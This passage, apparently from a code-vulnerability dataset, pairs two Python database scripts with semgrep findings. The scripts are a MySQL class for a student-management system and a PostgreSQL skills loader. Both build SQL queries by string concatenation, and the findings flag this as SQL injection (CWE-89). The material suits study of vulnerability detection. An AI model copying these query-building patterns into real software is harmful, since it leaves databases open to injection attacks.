] | [
"MEDIUM"
] | [
42
] | [
42
] | [
27
] | [
55
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | parse_response.py | /auto/atp/lib/parse_response.py | Strugglingrookie/oldboy2 | Apache-2.0 | |
2024-11-18T19:19:08.657742+00:00 | 1,458,162,504,000 | b4829bc45fa297747a7925efb16ce6eb4c9698b3 | 3 | {
"blob_id": "b4829bc45fa297747a7925efb16ce6eb4c9698b3",
"branch_name": "refs/heads/master",
"committer_date": 1458162504000,
"content_id": "88236582dada07922867f6c88ed1d0a77defcf28",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "4358f5eb0692c47939388a87ad776515d0832501",
"extension": "py",
"filename": "GestorImparteSQL.py",
"fork_events_count": 0,
"gha_created_at": 1458165319000,
"gha_event_created_at": 1597954204000,
"gha_language": "JavaScript",
"gha_license_id": "Apache-2.0",
"github_id": 54069213,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8433,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/SMS-Back-End/microservicio1/APIDB/GestorImparteSQL.py",
"provenance": "stack-edu-0054.json.gz:580101",
"repo_name": "mresti/StudentsManagementSystem",
"revision_date": 1458162504000,
"revision_id": "a1d67af517379b249630cac70a55bdfd9f77c54a",
"snapshot_id": "440cf73647bd24d01ed516a399f7fdb576709cd0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/mresti/StudentsManagementSystem/a1d67af517379b249630cac70a55bdfd9f77c54a/SMS-Back-End/microservicio1/APIDB/GestorImparteSQL.py",
"visit_date": "2020-12-25T20:55:14.995233"
} | 3.078125 | stackv2 | # -*- coding: utf-8 -*-
"""
Last mod: Feb 2016
@author: Juan A. Fernández
@about: Fichero de creación de la interfaz de interacción con la relacion Imparte de la base de datos.
"""
import MySQLdb
#Doc here: http://mysql-python.sourceforge.net/MySQLdb-1.2.2/
from Imparte import *
#Uso de variables generales par la conexión a la BD.
import dbParams
#Variable global de para act/desactivar el modo verbose para imprimir mensajes en terminal.
v=1
'''Clase controladora de Impartes. Que usando la clase que define el modelo de Imparte (la info en BD que de el se guarda)
ofrece una interface de gestión que simplifica y abstrae el uso.
'''
class GestorImparte:
"""
Manejador de Impartes de la base de datos.
"""
@classmethod
def nuevoImparte(self, id_clase, id_asignatura, id_profesor):
'''Introduce una tupla en la tabla Imparte de la base de datos'''
db = MySQLdb.connect(dbParams.host, dbParams.user, dbParams.password, dbParams.db);
#query="INSERT INTO Imparte values("+"'"+nombre+"', "+ "'"+id+"');"
#Añadimos al principio y al final una comilla simple a todos los elementos.
id_asignatura='\''+id_asignatura+'\''
id_clase='\''+id_clase+'\''
id_profesor='\''+id_profesor+'\''
query="INSERT INTO Imparte VALUES("+id_clase+","+id_asignatura+","+id_profesor+");"
if v:
print '\n'+query
cursor = db.cursor()
salida =''
'''
Como la ejecución de esta consulta (query) puede producir excepciones como por ejemplo que el Imparte con clave
que estamos pasando ya exista tendremos que tratar esas excepciones y conformar una respuesta entendible.
'''
try:
salida = cursor.execute(query);
except MySQLdb.Error, e:
# Get data from database
try:
print "MySQL Error [%d]: %s" % (e.args[0], e.args[1])
print "Error number: "+str(e.args[0])
salida=str(e.args[0])
except IndexError:
print "MySQL Error: %s" % str(e)
print "key"+str(salida)
#Efectuamos los cambios
db.commit()
cursor.close()
db.close()
if salida==1:
return 'OK'
if salida==1062:
return 'Elemento duplicado'
if salida=='1452':
print 'Alguno de los elemento'
return 'Alguno de los elementos no existe'
@classmethod
def getImpartes(self):
'''Devuelve una lista simlifacada de todos los elementos Imparte de la tabla imparte de la bd'''
db = MySQLdb.connect(dbParams.host, dbParams.user, dbParams.password, dbParams.db)
cursor = db.cursor()
#Sacando los acentos...........
mysql_query="SET NAMES 'utf8'"
cursor.execute(mysql_query)
#-----------------------------#
query="select * from Imparte"
if v:
print '\n'+query
cursor.execute(query)
row = cursor.fetchone()
lista = []
while row is not None:
imparte = Imparte()
imparte.id_clase=row[0]
imparte.id_asignatura=row[1]
imparte.id_profesor=row[2]
lista.append(imparte)
#print row[0], row[1]
row = cursor.fetchone()
cursor.close()
db.close()
return lista
#Una de las opciones es convertirlo en un objeto y devolverlo
@classmethod
def getImparte(self, id_clase, id_asignatura, id_profesor):
''' Recupera TODA la información de un Imparte en concreto a través de la clave primaria, su id. '''
db = MySQLdb.connect(dbParams.host, dbParams.user, dbParams.password, dbParams.db)
cursor = db.cursor()
id_clase='\''+id_clase+'\''
id_asignatura='\''+id_asignatura+'\''
id_profesor='\''+id_profesor+'\''
query="select * from Imparte where id_clase="+id_clase+" and id_asignatura="+id_asignatura+" and id_profesor="+id_profesor+";"
if v:
print '\n'+query
try:
salida = cursor.execute(query);
row = cursor.fetchone()
except MySQLdb.Error, e:
# Get data from database
try:
print "MySQL Error [%d]: %s" % (e.args[0], e.args[1])
print "Error number: "+str(e.args[0])
#Capturamos el error:
salida=e.args[0]
except IndexError:
print "MySQL Error: %s" % str(e)
cursor.close()
db.close()
if salida==1:
#Como se trata de toda la información al completo usaremos todos los campos de la clase Imparte.
#La api del mservicio envia estos datos en JSON sin comprobar nada
imparte = Imparte()
imparte.id_calse=row[0]
imparte.id_asignatura=row[1]
imparte.id_profesor=row[2]
return imparte
if salida==0:
return 'Elemento no encontrado'
@classmethod
def delImparte(self, id_clase, id_asignatura, id_profesor):
'''Elimina una tupla imparte de la tabla Imparte'''
db = MySQLdb.connect(dbParams.host, dbParams.user, dbParams.password, dbParams.db)
cursor = db.cursor()
id_clase='\''+id_clase+'\''
id_asignatura='\''+id_asignatura+'\''
id_profesor='\''+id_profesor+'\''
query="delete from Imparte where id_clase="+id_clase+" and id_asignatura="+id_asignatura+" and id_profesor="+id_profesor+";"
if v:
print query
salida =''
try:
salida = cursor.execute(query);
except MySQLdb.Error, e:
try:
print "MySQL Error [%d]: %s" % (e.args[0], e.args[1])
print "Error number: "+str(e.args[0])
salida=e.args[0]
except IndexError:
print "MySQL Error: %s" % str(e)
db.commit()
cursor.close()
db.close()
if salida==1:
return 'OK'
if salida==0:
return 'Elemento no encontrado'
@classmethod
def modImparte(self, id_clase, id_asignatura, id_profesor, campoACambiar, nuevoValor):
'''
Esta función permite cambiar cualquier atributo de una Imparte.
Parámetros:
campoACambiar: nombre del atributo que se quiere cambiar
nuevoValor: nuevo valor que se quiere guardar en ese campo.
Este caso puede ser delicado al tener sólo dos atributos y ambos ser claves foráneas. Por eso no permitiremos que
se haga, para modificar la relación antes tendremos que destruirla y volverla a crear.
'''
db = MySQLdb.connect(dbParams.host, dbParams.user, dbParams.password, dbParams.db)
id_clase='\''+id_clase+'\''
id_asignatura='\''+id_asignatura+'\''
id_profesor='\''+id_profesor+'\''
nuevoValor='\''+nuevoValor+'\''
#query="UPDATE Imparte SET "+campoACambiar+"="+nuevoValor+" WHERE id_clase="+id_clase+" and id_asignatura="+id_asignatura+" and id_profesor"+id_profesor+";"
query="UPDATE Imparte SET "+campoACambiar+"="+nuevoValor+" WHERE id_clase="+id_clase+" and id_asignatura="+id_asignatura+" and id_profesor="+id_profesor+";"
if v:
print '\n'+query
cursor = db.cursor()
salida =''
'''
#Como la ejecución de esta consulta (query) puede producir excepciones como por ejemplo que el Imparte con clave
#que estamos pasando ya exista tendremos que tratar esas excepciones y conformar una respuesta entendible.
'''
try:
salida = cursor.execute(query);
except MySQLdb.Error, e:
# Get data from database
try:
print "MySQL Error [%d]: %s" % (e.args[0], e.args[1])
print "Error number: "+str(e.args[0])
salida=str(e.args[0])
except IndexError:
print "MySQL Error: %s" % str(e)
#Efectuamos los cambios
db.commit()
cursor.close()
db.close()
if v:
print salida
if salida==1:
print 'OK'
return 'OK'
elif salida==1062:
print 'Elemento duplicado'
return 'Elemento duplicado'
elif salida==0:
return 'Elemento no encontrado'
| 238 | 34.37 | 164 | 20 | 2,084 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_43c4fcfc26481495_806efd09", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 22, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/43c4fcfc26481495.py", "start": {"line": 46, "col": 22, "offset": 1742}, "end": {"line": 46, "col": 43, "offset": 1763}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_43c4fcfc26481495_46fe9d89", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 123, "line_end": 123, "column_start": 22, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/43c4fcfc26481495.py", "start": {"line": 123, "col": 22, "offset": 4123}, "end": {"line": 123, "col": 43, "offset": 4144}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_43c4fcfc26481495_869e20aa", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 163, "line_end": 163, "column_start": 22, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/43c4fcfc26481495.py", "start": {"line": 163, "col": 22, "offset": 5651}, "end": {"line": 163, "col": 43, "offset": 5672}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_43c4fcfc26481495_804bf422", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 212, "line_end": 212, "column_start": 22, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/43c4fcfc26481495.py", "start": {"line": 212, "col": 22, "offset": 7701}, "end": {"line": 212, "col": 43, "offset": 7722}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-89",
"CWE-89",
"CWE-89",
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
46,
123,
163,
212
] | [
46,
123,
163,
212
] | [
22,
22,
22,
22
] | [
43,
43,
43,
43
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | GestorImparteSQL.py | /SMS-Back-End/microservicio1/APIDB/GestorImparteSQL.py | mresti/StudentsManagementSystem | Apache-2.0 | |
2024-11-18T19:19:08.959739+00:00 | 1,598,391,580,000 | 40e1c092eafa9f81623dce6fa0b46c0d2a8be66e | 3 | {
"blob_id": "40e1c092eafa9f81623dce6fa0b46c0d2a8be66e",
"branch_name": "refs/heads/master",
"committer_date": 1598391580000,
"content_id": "d5bcd8e4f0e93efa37b080986b16dc7d6b9d7aa3",
"detected_licenses": [
"MIT"
],
"directory_id": "3fdff6bf3ef0e4b13a1ca028d04e837ced551b4a",
"extension": "py",
"filename": "add_all_skills_to_json_and_to_db.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 239133485,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2587,
"license": "MIT",
"license_type": "permissive",
"path": "/add_all_skills_to_json_and_to_db.py",
"provenance": "stack-edu-0054.json.gz:580106",
"repo_name": "denysgerasymuk799/AI_challenge",
"revision_date": 1598391580000,
"revision_id": "a9084f479ccf0fd2b30ef90776b691a710cefdf9",
"snapshot_id": "14a4ddf07ed731226ec252a83938101668440e2f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/denysgerasymuk799/AI_challenge/a9084f479ccf0fd2b30ef90776b691a710cefdf9/add_all_skills_to_json_and_to_db.py",
"visit_date": "2022-12-11T09:44:34.577480"
} | 2.90625 | stackv2 | import os
# import Python's JSON lib
import json
# import the new JSON method from psycopg2
import psycopg2
from psycopg2.extras import Json
from sea_db import config
def write_json_in_db(record_list):
# create a nested list of the records' values
values = list(record_list.values())
# get the column names
columns = list(record_list.keys())
# value string for the SQL string
values_str = []
# enumerate over the records' values
for i, record in enumerate(values):
# declare empty list for values
val_list = []
# append each value to a new list of values
for v, val in enumerate(record):
if type(val) == str:
val = str(Json(val)).replace('"', '')
val_list += [str(val)]
if not val_list:
val_list += ['0']
# put parenthesis around each record string
values_str.append("[" + ', '.join(val_list) + "]")
# values_str += "(" + ', '.join(val_list) + "),\n"
# remove the last comma and end SQL with a semicolon
# values_str = values_str[:-2] + ";"
# concatenate the SQL string
table_name = "skills_for_all_professions"
conn = None
try:
# read database configuration
params = config.config()
# connect to the PostgreSQL database
conn = psycopg2.connect(**params)
# create a new cursor
cur = conn.cursor()
# create table one by one
for num in range(len(columns)):
sql_string = """INSERT INTO {0} ({1})\nVALUES ({2});""".format(
table_name,
', '.join(["job_title", "skills_list"]),
', '.join(["'{}'".format(columns[num]), 'ARRAY'+values_str[num]])
)
cur.execute(sql_string)
# commit the changes to the database
conn.commit()
# close communication with the database
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
if __name__ == '__main__':
skills_for_all_professions = json.loads('{}')
for file in os.listdir(os.path.join(os.getcwd(), 'user_data')):
with open(os.path.join(os.getcwd(), 'user_data', file), 'r',
encoding='utf-8') as json_file:
courses_for_professions = json.load(json_file)
title_file = file.split('.')
skills_for_all_professions[title_file[0]] = list(courses_for_professions.keys())
write_json_in_db(skills_for_all_professions)
| 83 | 30.17 | 92 | 18 | 581 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_d51c9f50f54cafad_86e433d6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 60, "line_end": 60, "column_start": 13, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmppq52ww6s/d51c9f50f54cafad.py", "start": {"line": 60, "col": 13, "offset": 1772}, "end": {"line": 60, "col": 36, "offset": 1795}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.sqli.psycopg-sqli_d51c9f50f54cafad_d197b947", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.sqli.psycopg-sqli", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'", "remediation": "", "location": {"file_path": "unknown", "line_start": 60, "line_end": 60, "column_start": 13, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://www.psycopg.org/docs/sql.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.sqli.psycopg-sqli", "path": "/tmp/tmppq52ww6s/d51c9f50f54cafad.py", "start": {"line": 60, "col": 13, "offset": 1772}, "end": {"line": 60, "col": 36, "offset": 1795}, "extra": {"message": "Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://www.psycopg.org/docs/sql.html"], "category": "security", "technology": ["psycopg"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_d51c9f50f54cafad_24d2f981", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 60, "line_end": 60, "column_start": 13, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/d51c9f50f54cafad.py", "start": {"line": 60, "col": 13, "offset": 1772}, "end": {"line": 60, "col": 36, "offset": 1795}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-89",
"CWE-89",
"CWE-89"
] | [
"rules.python.lang.security.audit.formatted-sql-query",
"rules.python.lang.security.audit.sqli.psycopg-sqli",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"HIGH"
] | [
60,
60,
60
] | [
60,
60,
60
] | [
13,
13,
13
] | [
36,
36,
36
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected possible formatted SQL query. Use parameterized queries instead.",
